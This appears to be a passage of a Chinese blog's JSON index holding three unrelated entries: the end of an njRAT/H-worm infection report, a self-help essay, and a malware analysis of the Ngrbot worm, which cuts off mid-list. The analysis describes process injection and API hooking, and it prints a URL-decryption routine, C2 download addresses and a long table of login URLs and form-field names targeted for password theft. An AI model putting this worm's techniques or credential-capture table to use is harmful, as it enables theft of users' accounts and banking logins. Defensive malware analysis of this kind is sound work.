，主要盛行于中东地区，在世界其他国家和地区也有广泛传播。\u003c/p\u003e\n\u003cp\u003enjRAT 程序完美支持阿拉伯字符 ，有证据表明极端组织 ISIS 使用njRAT作为重要的网络武器。njRAT使用微软的 .NET框架开发 ， 并像其他许多木马一样为远程攻击者提供了对被感 染系统的完全控制功能。我们已经看到攻击者利用被污染的流 行游戏、破解软件及注册机来 进行污染 传播。njRAT木马因其广泛流传的在线支持和教程，已成为最成功的网络犯罪工具之一。与此同时，目前网络中也有较多.NET 混淆工具流传，使病毒检测相对困难，妨碍了安全研究人员的分析。\u003c/p\u003e\n\u003cp\u003e早在2013年H-worm就被发现用于对国外能源机构的攻击。H-worm是一个VBS脚本编写的病毒，使用了比较先进的User-Agent传递数据的方式。其作者Houdini使用了njRAT作者njq8的一部分开源代码 ，国外分析机构也常将H-worm作为njRAT的主要变种。\u003c/p\u003e\n\u003cp\u003e根据最近一周的跟踪分析，发现沙特阿拉伯和捷克njRAT感染尤为集中。\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"1\" loading=\"lazy\" src=\"/wp-content/uploads/2016/11/1.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e图1：njRAT感染分布图\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"2\" loading=\"lazy\" src=\"/wp-content/uploads/2016/11/2.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e表1： njRAT感染IP（部分）\u003c/p\u003e\n\u003cp\u003eH-worm病毒仍在全球范围内大量活跃，根据跟踪分析，发现感染对象包括美国、俄罗斯、沙特阿拉伯、阿根廷、秘鲁、巴西、智利、巴拉圭、委内瑞拉 、印度以及中国。\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"3\" loading=\"lazy\" src=\"/wp-content/uploads/2016/11/3.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e图2： H-worm国外感染分布图\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"4\" loading=\"lazy\" src=\"/wp-content/uploads/2016/11/4.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e表2： H-worm国外感染IP（部分）\u003c/p\u003e\n\u003cp\u003e重点对国内H-worm感染主机进行检测，发现涉及18个省市共发现200多个感染主机 。\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"5\" loading=\"lazy\" src=\"/wp-content/uploads/2016/11/5.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e图3： H-worm 国内感染分布图\u003c/p\u003e","title":"njRAT\u0026H-worm木马分析报告"},{"content":"文/一直特立独行的猫\n1.\n前几天去上英语课，认识了一个全职妈妈，她家离学校特别远，每天送五岁的儿子上幼儿园之后，就马不停蹄地奔到学校，下午3点钟又立刻离开，回到幼儿园接孩子放学。\n我问她：“干嘛跑这么远来上课，孩子都这么大了，也没有什么负担了吧？”\n她跟我说：“我一直都是全职妈妈，现在都快五年了。孩子上的双语幼儿园，现在孩子回家经常会用用于说点简单的对话，有时候孩子跟我说英语，我却什么都不懂。想想将来孩子还要上小学，上中学，学的会越来越多，那时候我就更没能力跟孩子互动了。所以无论如何都要来学英语，哪怕从头开始。以前上班上学的时候学英语用英语都轻松的躲过去了。以为一辈子都会躲过去的东西，没想到在有了孩子之后，都要重新捡起来。 自己小时候不努力，觉得对不起父母；年轻时候不努力，觉得对不起家人；但当有了孩子之后才发现，如果自己不努力，是自己最不能接受的了。”\n有了孩子以后，加入那么多名目的家长群，最大的体会不是多辛苦，也不是养孩子有多贵，而是曾经躲过去的，没学好的，如今为了孩子都要一点点捡回来。不光是英语，还是历史地理生物数学唐诗宋词，甚至手工。那些以为一辈子都不用再学再看的书本知识，没想到有一天都必须拿回来，甚至学的更努力更准确。\n2.\n前几天跟一位前辈聊天，向我聊起她目前的职场困惑。\n前辈马上要奔四了，孩子尚且年纪小，老人又到了需要人照顾而哪儿也去不了的时候，职场里身强体壮有干劲儿工资低的年轻人潮水般的涌上来，压力很大。而更要命的是，今天的她在公司里能力属于一般，跟很多年轻人一个职位。她家里挺有钱的，虽说工作上并没有太大抱负，但在一群小孩子中间混着，心里不舒服有时候还要被别人给脸色；可自己还真不敢辞职回家当太太，担心一点经济独立能力都没有未来会有问题。\n前辈跟我说，嫁个有点钱的老公，婚后找个清闲工作朝九晚五是多少女孩希望的梦想生活。她当年也是这么觉得，想着有老公赚钱还算挺多，便想着不用那么努力拼命了，差不多得了，什么都不争不抢能推给别人自己绝不干的心态混迹在职场里，按点上下班照顾家里和老人，没事儿逛街美容的生活真心不错。可那时候的她才二十六七岁，未来的职场还有二三十年，混日子一天两天可以，可三五年差距就太显而易见了。特别是 女人到三十岁以后，来自各方面的压力都会一起涌现，如果自己没点能拿得出手的真本事，不安全感会一天比一天强。 3.\n我从21岁的时候开始实习，22岁毕业就开始工作，身在知名大公司，入行又足够早，看着身边好多25、26岁的朋友们比也不过坐一个比自己高一级的位置，生活上也比自己宽裕不了太多，总觉得自己的未来足够敞亮，想着这样小年纪，努把力，等自己25、26岁的时候，工作和生活一定会比他们要超前很多呢。三四年后，真到25、26岁的时候，我的人生并没有到达曾经预想的那些高度，仅仅是比曾经这个年纪的朋友们好一些而已。回想起来，大体是因为总觉得自己起步早，便会洋洋得意于年龄优势，总觉得有的是时间，打打闹闹，也不争分夺秒，结果蹉跎了岁月，用尽了青春。今天的自己虽一点都不敢懈怠，但身体已然无法像刚毕业时候熬夜加班还热血沸腾，生活里也有了很多其他内容让自己无法专一的去做一件事了。\n职场上有一个很有趣的现象，大部分人在初入职场的时候都差不多水平，但到了30岁左右的时候，有的人能步步高升，而有的人却一直原地不动。再往高一点，有的人开始辞职并美其名曰寻找内心的理想，有的人平步青云成为高层走向职场巅峰。当然，这其中除了内心是否厌倦工作以外，还有一种更重要的原因就是，越往高走，越需要扎实的基础。这个基础包括技术和能力，也包括人脉与情商。如果 在职场早期没有很好的积累和锻炼，就像上学学习一样，没有扎实的基础，越往高走，困难越大。而这个困难，因为环境等各种原因，很难再补回来了。\n曾经有一个职场前辈告诉我：在工作前三年的时候什么都要去做，去努力做，去拼命做，有多余的精力不要太过沉迷自由而尽情泡酒吧夜店KTV。纵然前三年是最辛苦，薪水最低，看起来付出和回报差距过大的三年，但却是人人都愿意毫无保留的教你给你的三年，更是奠定了未来职场生涯的基础的三年。别说什么工作是为生活服务的，而不是全部的生活之类的话，前三年还没什么资格说这话。环顾自己和周围朋友的职场磕绊，追根溯源，都与职场前三年的基础有关。 那些曾经躲过的辛苦，逃过的困难，自以为幸运没有分配到自己头上的费时费力的事，总有那么一天成为自己职场生涯的软肋，让你懊恼当初为什么不多长个眼睛看一看。\n我和我周围的朋友都到了三十而立的年纪了，平时偶尔会说说自己的烦恼和遇到的困难，而这些我们眼下的问题，仔细想想，无一不是因为早年的偷懒造成的。而也是从现在开始，人与人之间的差距从现在开始清晰明了的区分出来。而这个年纪， 有家庭有老人有孩子，再说奋起直追，除非强大的自制力和积累，大部分人，都很难，甚至只能空有一番努力的热情，却实践不了三天。 俗话说，少壮不努力，老大徒伤悲，现在才知道这句话背后残酷的意义，这也便是人生最现实最残酷的地方。\n不要让未来的你，讨厌现在的自己，人生的每一天每一刻，都在为自己的明天铺路。 今天你后悔懊恼的地方，都是你昨天脑子里进的水；想偷懒懈怠的时候想一想，明天的你，会想抽自己么？\n*作者：赵星，微博@一直特立独行的猫，代表作《从北京到台湾这么近那么远》《挺住，意味着一切》《不要让未来的你，讨厌现在的自己》\n","permalink":"https://www.lucien116.com/archives/201/","summary":"\u003cp\u003e文/一直特立独行的猫\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e1.\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003e前几天去上英语课，认识了一个全职妈妈，她家离学校特别远，每天送五岁的儿子上幼儿园之后，就马不停蹄地奔到学校，下午3点钟又立刻离开，回到幼儿园接孩子放学。\u003c/p\u003e\n\u003cp\u003e我问她：“干嘛跑这么远来上课，孩子都这么大了，也没有什么负担了吧？”\u003c/p\u003e\n\u003cp\u003e她跟我说：“我一直都是全职妈妈，现在都快五年了。孩子上的双语幼儿园，现在孩子回家经常会用用于说点简单的对话，有时候孩子跟我说英语，我却什么都不懂。想想将来孩子还要上小学，上中学，学的会越来越多，那时候我就更没能力跟孩子互动了。所以无论如何都要来学英语，哪怕从头开始。以前上班上学的时候学英语用英语都轻松的躲过去了。以为一辈子都会躲过去的东西，没想到在有了孩子之后，都要重新捡起来。 \u003cstrong\u003e自己小时候不努力，觉得对不起父母；年轻时候不努力，觉得对不起家人；但当有了孩子之后才发现，如果自己不努力，是自己最不能接受的了。”\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003e有了孩子以后，加入那么多名目的家长群，最大的体会不是多辛苦，也不是养孩子有多贵，而是曾经躲过去的，没学好的，如今为了孩子都要一点点捡回来。不光是英语，还是历史地理生物数学唐诗宋词，甚至手工。那些以为一辈子都不用再学再看的书本知识，没想到有一天都必须拿回来，甚至学的更努力更准确。\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e2.\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003e前几天跟一位前辈聊天，向我聊起她目前的职场困惑。\u003c/p\u003e\n\u003cp\u003e前辈马上要奔四了，孩子尚且年纪小，老人又到了需要人照顾而哪儿也去不了的时候，职场里身强体壮有干劲儿工资低的年轻人潮水般的涌上来，压力很大。而更要命的是，今天的她在公司里能力属于一般，跟很多年轻人一个职位。她家里挺有钱的，虽说工作上并没有太大抱负，但在一群小孩子中间混着，心里不舒服有时候还要被别人给脸色；可自己还真不敢辞职回家当太太，担心一点经济独立能力都没有未来会有问题。\u003c/p\u003e\n\u003cp\u003e前辈跟我说，嫁个有点钱的老公，婚后找个清闲工作朝九晚五是多少女孩希望的梦想生活。她当年也是这么觉得，想着有老公赚钱还算挺多，便想着不用那么努力拼命了，差不多得了，什么都不争不抢能推给别人自己绝不干的心态混迹在职场里，按点上下班照顾家里和老人，没事儿逛街美容的生活真心不错。可那时候的她才二十六七岁，未来的职场还有二三十年，混日子一天两天可以，可三五年差距就太显而易见了。特别是 \u003cstrong\u003e女人到三十岁以后，来自各方面的压力都会一起涌现，如果自己没点能拿得出手的真本事，不安全感会一天比一天强。\u003c/strong\u003e \u003cstrong\u003e3.\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003e我从21岁的时候开始实习，22岁毕业就开始工作，身在知名大公司，入行又足够早，看着身边好多25、26岁的朋友们比也不过坐一个比自己高一级的位置，生活上也比自己宽裕不了太多，总觉得自己的未来足够敞亮，想着这样小年纪，努把力，等自己25、26岁的时候，工作和生活一定会比他们要超前很多呢。三四年后，真到25、26岁的时候，我的人生并没有到达曾经预想的那些高度，仅仅是比曾经这个年纪的朋友们好一些而已。回想起来，大体是因为总觉得自己起步早，便会洋洋得意于年龄优势，总觉得有的是时间，打打闹闹，也不争分夺秒，结果蹉跎了岁月，用尽了青春。今天的自己虽一点都不敢懈怠，但身体已然无法像刚毕业时候熬夜加班还热血沸腾，生活里也有了很多其他内容让自己无法专一的去做一件事了。\u003c/p\u003e\n\u003cp\u003e职场上有一个很有趣的现象，大部分人在初入职场的时候都差不多水平，但到了30岁左右的时候，有的人能步步高升，而有的人却一直原地不动。再往高一点，有的人开始辞职并美其名曰寻找内心的理想，有的人平步青云成为高层走向职场巅峰。当然，这其中除了内心是否厌倦工作以外，还有一种更重要的原因就是，越往高走，越需要扎实的基础。这个基础包括技术和能力，也包括人脉与情商。如果 \u003cstrong\u003e在职场早期没有很好的积累和锻炼，就像上学学习一样，没有扎实的基础，越往高走，困难越大。而这个困难，因为环境等各种原因，很难再补回来了。\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003e曾经有一个职场前辈告诉我：在工作前三年的时候什么都要去做，去努力做，去拼命做，有多余的精力不要太过沉迷自由而尽情泡酒吧夜店KTV。纵然前三年是最辛苦，薪水最低，看起来付出和回报差距过大的三年，但却是人人都愿意毫无保留的教你给你的三年，更是奠定了未来职场生涯的基础的三年。别说什么工作是为生活服务的，而不是全部的生活之类的话，前三年还没什么资格说这话。环顾自己和周围朋友的职场磕绊，追根溯源，都与职场前三年的基础有关。 \u003cstrong\u003e那些曾经躲过的辛苦，逃过的困难，自以为幸运没有分配到自己头上的费时费力的事，总有那么一天成为自己职场生涯的软肋，让你懊恼当初为什么不多长个眼睛看一看。\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003e我和我周围的朋友都到了三十而立的年纪了，平时偶尔会说说自己的烦恼和遇到的困难，而这些我们眼下的问题，仔细想想，无一不是因为早年的偷懒造成的。而也是从现在开始，人与人之间的差距从现在开始清晰明了的区分出来。而这个年纪， \u003cstrong\u003e有家庭有老人有孩子，再说奋起直追，除非强大的自制力和积累，大部分人，都很难，甚至只能空有一番努力的热情，却实践不了三天。\u003c/strong\u003e 俗话说，少壮不努力，老大徒伤悲，现在才知道这句话背后残酷的意义，这也便是人生最现实最残酷的地方。\u003c/p\u003e\n\u003cp\u003e不要让未来的你，讨厌现在的自己，人生的每一天每一刻，都在为自己的明天铺路。 \u003cstrong\u003e今天你后悔懊恼的地方，都是你昨天脑子里进的水\u003c/strong\u003e；想偷懒懈怠的时候想一想，明天的你，会想抽自己么？\u003c/p\u003e\n\u003cp\u003e*作者：赵星，微博@一直特立独行的猫，代表作《从北京到台湾这么近那么远》《挺住，意味着一切》《不要让未来的你，讨厌现在的自己》\u003c/p\u003e","title":"三十岁时才知道，曾经躲过去的今天都要你加倍还"},{"content":"1. 基本信息 病毒别名： Worm.Win32.Ngrbot\n病毒类型： 蠕虫\n样本长度： 252.000 字节 样本MD5：FA92DAE6F14F9B9DB1D263222FC65DFF\n样本SHA1： A0BA2E072CA9BA7C3BDDC2F3BEF2FA09E15A716D\n文件类型：PE_EXE\n原始文件名： txgxltogztf.exe\n感染系统：Windows All(x86)\n2. 样本概述 该蠕虫与木马Androm绑定在一起被下载到用户的计算机上,并能通过HTTP,FTP,MSN,email,U盘等手段进行传播,一旦用户感染此蠕虫,会立即窃取用户的密码及隐私信息,包括用户的电子银行,社交网站,邮箱密码,FTP密码和MSN好友信息等.同时该病毒监控用户下载的文件,搜集用户的上网习惯.被感染的用户组成一个庞大的僵尸网络用于对网络目标进行攻击.\n3. 详细分析 行为流程分析 由于该病毒是通过androm下载到本地,所以执行流程,以及加密方式跟androm是一样的,区别在于资源”JPEG”中的恶意代码功能,入口处会创建一个辅助线程,该线程功能是初始化所需要的API及字符串,同时为了防止重入,创建命名互斥体” SSLOADasdasc000100”\n图1:API的初始化\n随后生成随机的文件名称,文件名只包含数字以及字母,这些文件名是用来在calc中下载使用的,生成到临时文件中.\n图2:下载后保存的文件名\n判断系统版本是否是64位程序,该病毒只能感染32位的程序,所以程序打开Syswow64或system32下的calc程序,写入恶意代码以及数据,之后该线程进入死循环\n图3:感染clac进程\n在calc中,下载地址以及文件名加密后被蠕虫传送过来\n图4:要下载的文件地址,被加密\n解密算法伪代码:\nint i = 0;\nint d = 0;\nfor(;(d = strBase[i]);++i)\n{\nif(d \u0026gt; 0x21 \u0026amp;\u0026amp; d \u0026lt; 0x4F)\nstrBase[i] =(d + 0x2F)%0x7F;\nif(d \u0026gt; 0x50 \u0026amp;\u0026amp; d \u0026lt; 0x7E)\nstrBase[i] =(d - 0x2F)%0x7F;\n}\n解密后的数据有规律可循:\nhttp://api1.wipmania.com.wipmsc. ru/api1.gif\nhttp://api2.wipmania.com.wipmsc. ru/api2.gif\nhttp://api3.wipmania.com.wipmsc. ru/api3.gif\nhttp://api5.wipmania.com.wipmsc. ru/api4.gif\n……\n下载地址解密后,利用HTTP协议下载所有文件,文件名是母体传进来的向对应,最后执行所有文件,进程退出. 下载的后门程序中完成邮件分发,SOCK代理,键盘记录等.\n参数及启动模式\n蠕虫的命令行接受三个参数,分别是:无参数,-aav_start,-shell\n无参数 如果父进程没有传递参数,程序会先创建一个执行线程,该线程的任务是把自身拷贝到”%USERPROFILES\\Random”下\n图5:释放一个病毒文件\n之后启动一个svchost进程,并注入远程线程,svchost中首先创建下列三个文件:\n”%TMP%\\\\Adobe\\\\Reader_s1.exe\n“%USERPROCFILES%\\\\ScreenSavePro.src”\n“%USERPROCFILES%\\\\Temp.bin”\n创建这些文件时为了提高病毒的存活几率,随后把这些文件都设置为自启动,键名为”Adobe System Incorperated”,个人电脑用户会误以为是adobe的更新程序\n远程线程执行完后寻找资源段”JPEG”并解密,启动子进程并写入数据.\n图6:入侵svchost进程\n在子进程中 首先判断自身是否是在U盘中启动的,如果是USB设备,则会执行文件,再次感染系统.\n图7:判断是否运行在移动设备中\n随后会注册一个USB设备的回调函数,当有移动设备插入时,会通知病毒,执行感染操作:\n图8:USB感染\n接着是一些初始化操作,包含共享内存的初始化,通信管道的初始化,互斥体以及所需Native api地址的初始化,一些全局数据的初始化.\n图9:各模块以及命令池的初始化\n判断当前系统版本,vista以上使用NtGetNextProcess来获取所有的系统进程,vista以下使用NtQuerySystemInformation传入5号功能获取系统所有的进程,但不注入lsass.exe和64位进程,所有注入的恶意代码都是一个完整的病毒体,但是入口地址不一样,注入前程序会首先计算所有要hook函数的RVA,一共需要hook 20个函数,这些函数完成了木马所有的盗号劫持功能,之后模拟PELOADER修复远程线程代码的重定位,导入表等,传给线程的参数是一些内部函数的RVA,为方便线程的调用.\n图10:入侵当前系统所有进程\n远程线程一开始就开始inline hook函数, 这些过滤函数是程序的核心,主要完成:DNS劫持,HTTP劫持,注册表劫持,模块劫持,文件劫持,协议劫持,下载劫持.\n图11:设置钩子\n每个hook过程,都有一个相应的结构保存hook前的详细信息,便于以后恢复\nTypedef struct _HOOK_PROC\n{\nLPSTR strDllName; //函数所在DLL名称\nLPSTR strFuncName; //被HOOK函数的名称\nDWORD dwFakeAddress; //伪函数地址\nDWORD dwOrigAddress; //真实的函数地址\nDWORDD dwSendPack; //与远端通信函数\n} HOOK_PROC;\n图12:每个进程中 被hook的函数\nHook工作完成过后,bot创建两个线程,一个线程用来监控bot主进程,如果监控到主进程被迫结束,则会立即重新入侵系统进程.另一个线程负责与bot主进程建立通信联系,\nDNS 劫持:\n为了防止中毒者访问互联网查询解决方案以及下载杀毒软件,该bot内置一些常用的安全网站黑名单,同时bot远程服务器也有一份黑名单,所有访问这些网站的操作都被否决.主要通过劫持三个函数实现:DnsQuery_A, DnsQuery_W以及GetAddrInfoW,在黑名单中的网站都会返回0x25F2(DNS 名称不存在。)\nDNS过滤中黑名单模块工作状态查询命令:”bdns_XXXXX”,该命令返回三种状态字符串,若是在白名单中则直接返回真实域名,若在黑名单中则返回1,若该DNS已经被锁定,则返回”block.”\n锁定模块的查询命令:”brk”\nDNS功能重启命令:”rdns”\n单个DNS查询状态命令:bdns\nDnsQuery_A的过滤函数,只完成过滤功能:\n图13:DnsQuery的过滤\n在bot的白名单中有以下白网页:\n图14:病毒内置的白名单网站\n图15:病毒的web黑名单(部分)\n图16:黑名单中的网址都无法访问\nDnsQuery_W函数除了完成基本的DNS过滤外,还有锁定功能,就是当DNS模块无法正常工作的时候,把该地址锁定,待DNS模块正常工作处理这些被锁定的地址.\n图17:锁定该地址\n系统关键进程的DNS查询不进程过滤,列表:\n图18:这些进程的DNS请求不过滤\nGetAddrInfoW函数主要是在高版本的windows系统中系统的DnsQuery扩展函数,该函数可以查询IPV6以及IPV4的信息,所以在过滤功能上和DnsQuery功能一模一样.\n密码嗅探:\n密码窃听主要涉及5个函数:HttpSendRequestA, HttpSendRequestW,InternatWriteFile. 以及火狐浏览器特有的PR_Read和PR_Write函数,主要在木马的blog模块中完成.\nHttpSendRequestA/ HttpSendRequestW,这两个函数主要针POST方式登陆的web页\n图19:网页密码的截取\n在用户名和密码解析中,bot内置一张对照表,包含要截取网站的域名,用户名和密码封包结构,密码窃取涉及的面非常广,包含视频,社交,购物,银行,邮箱等.以下是能窃取密码的列表.\n\u0026ldquo;PayPal\u0026rdquo;\n\u0026ldquo;*paypal.*/webscr?cmd=_login-submit*\u0026rdquo;\n\u0026ldquo;*login_password=*\u0026rdquo;\n\u0026ldquo;login_email\u0026rdquo;\n\u0026ldquo;login_password\u0026rdquo;\n\u0026ldquo;YouTube\u0026rdquo;\n\u0026ldquo;*google.*/*ServiceLoginAuth*\u0026rdquo;\n\u0026ldquo;*service=youtube*\u0026rdquo;\n\u0026ldquo;Email\u0026rdquo;\n\u0026ldquo;Passwd\u0026rdquo;\n\u0026ldquo;AOL\u0026rdquo;\n\u0026ldquo;*aol.*/*login.psp*\u0026rdquo;\n\u0026ldquo;*password=*\u0026rdquo;\n\u0026ldquo;loginId\u0026rdquo;\n\u0026ldquo;password\u0026rdquo;\n\u0026ldquo;AOL\u0026rdquo;\n\u0026ldquo;*screenname.aol.*/login.psp*\u0026rdquo;\n\u0026ldquo;*password=*\u0026rdquo;\n\u0026ldquo;screenname\u0026rdquo;\n\u0026ldquo;password\u0026rdquo;\n\u0026ldquo;BigString\u0026rdquo;\n\u0026ldquo;*bigstring.*/*index.php*\u0026rdquo;\n\u0026ldquo;*pass=*\u0026rdquo;\n\u0026ldquo;user\u0026rdquo;\n\u0026ldquo;pass\u0026rdquo;\n\u0026ldquo;Fastmail\u0026rdquo;\n\u0026ldquo;*fastmail.*/mail/*\u0026rdquo;\n\u0026ldquo;*FLN-Password=*\u0026rdquo;\n\u0026ldquo;FLN-UserName\u0026rdquo;\n\u0026ldquo;FLN-Password\u0026rdquo;\n\u0026ldquo;Gmail\u0026rdquo;\n\u0026ldquo;*google.*/*ServiceLoginAuth*\u0026rdquo;\n\u0026ldquo;*Passwd=*\u0026rdquo;\n\u0026ldquo;Email\u0026rdquo;\n\u0026ldquo;Passwd\u0026rdquo;\n\u0026ldquo;GMX\u0026rdquo;\n\u0026ldquo;*gmx.*/*FormLogin*\u0026rdquo;\n\u0026ldquo;*TextfieldPassword=*\u0026rdquo;\n\u0026ldquo;TextfieldEmail\u0026rdquo;\n\u0026ldquo;TextfieldPassword\u0026rdquo;\n\u0026ldquo;Live\u0026rdquo;\n\u0026ldquo;*login.live.*/*post.srf*\u0026rdquo;\n\u0026ldquo;*passwd=*\u0026rdquo;\n\u0026ldquo;login\u0026rdquo;\n\u0026ldquo;passwd\u0026rdquo;\n\u0026ldquo;Yahoo\u0026rdquo;\n\u0026ldquo;*login.yahoo.*/*login*\u0026rdquo;\n\u0026ldquo;*passwd=*\u0026rdquo;\n\u0026ldquo;login\u0026rdquo;\n\u0026ldquo;passwd\u0026rdquo;\n\u0026ldquo;Facebook\u0026rdquo;\n\u0026ldquo;*facebook.*/login.php*\u0026rdquo;\n\u0026ldquo;*pass=*\u0026rdquo;\n\u0026ldquo;email\u0026rdquo;\n\u0026ldquo;pass\u0026rdquo;\n\u0026ldquo;Hackforums\u0026rdquo;\n\u0026ldquo;*hackforums.*/member.php\u0026rdquo;\n\u0026ldquo;*password=*\u0026rdquo;\n\u0026ldquo;username\u0026rdquo;\n\u0026ldquo;password\u0026rdquo;\n\u0026ldquo;Hackforums\u0026rdquo;\n\u0026ldquo;*hackforums.*/member.php\u0026rdquo;\n\u0026ldquo;*password=*\u0026rdquo;\n\u0026ldquo;quick_username\u0026rdquo;\n\u0026ldquo;quick_password\u0026rdquo;\n\u0026ldquo;Steam\u0026rdquo;\n\u0026ldquo;*steampowered*/login*\u0026rdquo;\n\u0026ldquo;*password=*\u0026rdquo;\n\u0026ldquo;username\u0026rdquo;\n\u0026ldquo;password\u0026rdquo;\n\u0026ldquo;NoIP\u0026rdquo;\n\u0026ldquo;*no-ip*/login*\u0026rdquo;\n\u0026ldquo;*\u0026amp;password=*\u0026rdquo;\n\u0026ldquo;username\u0026rdquo;\n\u0026ldquo;password\u0026rdquo;\n\u0026ldquo;DynDNS\u0026rdquo;\n\u0026ldquo;*dyndns*/account*\u0026rdquo;\n\u0026ldquo;*\u0026amp;password=*\u0026rdquo;\n\u0026ldquo;username\u0026rdquo;\n\u0026ldquo;password\u0026rdquo;\n\u0026ldquo;Runescape\u0026rdquo;\n\u0026ldquo;*runescape*/*weblogin*\u0026rdquo;\n\u0026ldquo;*\u0026amp;password=*\u0026rdquo;\n\u0026ldquo;username\u0026rdquo;\n\u0026ldquo;password\u0026rdquo;\n\u0026ldquo;Moneybookers\u0026rdquo;\n\u0026ldquo;*.moneybookers.*/*login.pl\u0026rdquo;\n\u0026ldquo;*\u0026amp;txtPassword=*\u0026rdquo;\n\u0026ldquo;txtEmail\u0026rdquo;\n\u0026ldquo;txtPassword\u0026rdquo;\n\u0026ldquo;Twitter\u0026rdquo;\n\u0026ldquo;*twitter.com/sessions\u0026rdquo;\n\u0026ldquo;*password]=*\u0026rdquo;\n\u0026ldquo;session[username_or_email]\u0026rdquo;\n\u0026ldquo;session[password]\u0026rdquo;\n\u0026ldquo;LogMeIn\u0026rdquo;\n\u0026ldquo;*secure.logmein.*/*logincheck*\u0026rdquo;\n\u0026ldquo;*password=*\u0026rdquo;\n\u0026ldquo;email\u0026rdquo;\n\u0026ldquo;password\u0026rdquo;\n\u0026ldquo;OfficeBanking\u0026rdquo;\n\u0026ldquo;*officebanking.cl/*login.asp*\u0026rdquo;\n\u0026ldquo;*pass=*\u0026rdquo;\n\u0026ldquo;rut\u0026rdquo;\n\u0026ldquo;pass\u0026rdquo;\n\u0026ldquo;eBay\u0026rdquo;\n\u0026ldquo;*signin.ebay*SignIn\u0026rdquo;\n\u0026ldquo;userid\u0026rdquo;\n\u0026ldquo;pass\u0026rdquo;\n\u0026ldquo;Depositfiles\u0026rdquo;\n\u0026ldquo;*depositfiles.*/*/login*\u0026rdquo;\n\u0026ldquo;*password=*\u0026rdquo;\n\u0026ldquo;login\u0026rdquo;\n\u0026ldquo;password\u0026rdquo;\n\u0026ldquo;Megaupload\u0026rdquo;\n\u0026ldquo;*megaupload.*/*login*\u0026rdquo;\n\u0026ldquo;*password=*\u0026rdquo;\n\u0026ldquo;username\u0026rdquo;\n\u0026ldquo;password\u0026rdquo;\n\u0026ldquo;Sendspace\u0026rdquo;\n\u0026ldquo;*sendspace.com/login*\u0026rdquo;\n\u0026ldquo;*password=*\u0026rdquo;\n\u0026ldquo;username\u0026rdquo;\n\u0026ldquo;password\u0026rdquo;\n\u0026ldquo;Mediafire\u0026rdquo;\n\u0026ldquo;*mediafire.com/*login*\u0026rdquo;\n\u0026ldquo;*login_pass=*\u0026rdquo;\n\u0026ldquo;login_email\u0026rdquo;\n\u0026ldquo;login_pass\u0026rdquo;\n\u0026ldquo;Freakshare\u0026rdquo;\n\u0026ldquo;*freakshare.com/login*\u0026rdquo;\n\u0026ldquo;*pass=*\u0026rdquo;\n\u0026ldquo;user\u0026rdquo;\n\u0026ldquo;pass\u0026rdquo;\n\u0026ldquo;Netload\u0026rdquo;\n\u0026ldquo;*netload.in/index*\u0026rdquo;\n\u0026ldquo;*txtpass=*\u0026rdquo;\n\u0026ldquo;txtuser\u0026rdquo;\n\u0026ldquo;txtpass\u0026rdquo;\n\u0026ldquo;4shared\u0026rdquo;\n\u0026ldquo;*4shared.com/login*\u0026rdquo;\n\u0026ldquo;*password=*\u0026rdquo;\n\u0026ldquo;login\u0026rdquo;\n\u0026ldquo;password\u0026rdquo;\n\u0026ldquo;Hotfile\u0026rdquo;\n\u0026ldquo;*hotfile.com/login*\u0026rdquo;\n\u0026ldquo;*pass=*\u0026rdquo;\n\u0026ldquo;user\u0026rdquo;\n\u0026ldquo;pass\u0026rdquo;\n\u0026ldquo;Fileserve\u0026rdquo;\n\u0026ldquo;*fileserv.com/login*\u0026rdquo;\n\u0026ldquo;*loginUserPassword=*\u0026rdquo;\n\u0026ldquo;loginUserName\u0026rdquo;\n\u0026ldquo;loginUserPassword\u0026rdquo;\n\u0026ldquo;Uploading\u0026rdquo;\n\u0026ldquo;*uploading.com/*login*\u0026rdquo;\n\u0026ldquo;*password=*\u0026rdquo;\n\u0026ldquo;email\u0026rdquo;\n\u0026ldquo;password\u0026rdquo;\n\u0026ldquo;Uploaded\u0026rdquo;\n\u0026ldquo;*uploaded.to/*login*\u0026rdquo;\n\u0026ldquo;*pw=*\u0026rdquo;\n\u0026ldquo;id\u0026rdquo;\n\u0026ldquo;pw\u0026rdquo;\n\u0026ldquo;Speedyshare\u0026rdquo;\n\u0026ldquo;*speedyshare.com/login*\u0026rdquo;\n\u0026ldquo;*pass=*\u0026rdquo;\n\u0026ldquo;login\u0026rdquo;\n\u0026ldquo;pass\u0026rdquo;\n\u0026ldquo;Filesonic\u0026rdquo;\n\u0026ldquo;*filesonic.com/*login*\u0026rdquo;\n\u0026ldquo;*password=*\u0026rdquo;\n\u0026ldquo;email\u0026rdquo;\n\u0026ldquo;password\u0026rdquo;\n\u0026ldquo;Oron\u0026rdquo;\n\u0026ldquo;*oron.com/login*\u0026rdquo;\n\u0026ldquo;*password=*\u0026rdquo;\n\u0026ldquo;login\u0026rdquo;\n\u0026ldquo;password\u0026rdquo;\n\u0026ldquo;Whatcd\u0026rdquo;\n\u0026ldquo;*what.cd/login*\u0026rdquo;\n\u0026ldquo;*password=*\u0026rdquo;\n\u0026ldquo;username\u0026rdquo;\n\u0026ldquo;password\u0026rdquo;\n\u0026ldquo;Letitbit\u0026rdquo;\n\u0026ldquo;*letitbit.net*\u0026rdquo;\n\u0026ldquo;*password=*\u0026rdquo;\n\u0026ldquo;login\u0026rdquo;\n\u0026ldquo;password\u0026rdquo;\n\u0026ldquo;Sms4file\u0026rdquo;\n\u0026ldquo;*sms4file.com/*/signin-do*\u0026rdquo;\n\u0026ldquo;*pas=*\u0026rdquo;\n\u0026ldquo;log\u0026rdquo;\n\u0026ldquo;pas\u0026rdquo;\n\u0026ldquo;Vip-file\u0026rdquo;\n\u0026ldquo;*vip-file.com/*/signin-do*\u0026rdquo;\n\u0026ldquo;*pas=*\u0026rdquo;\n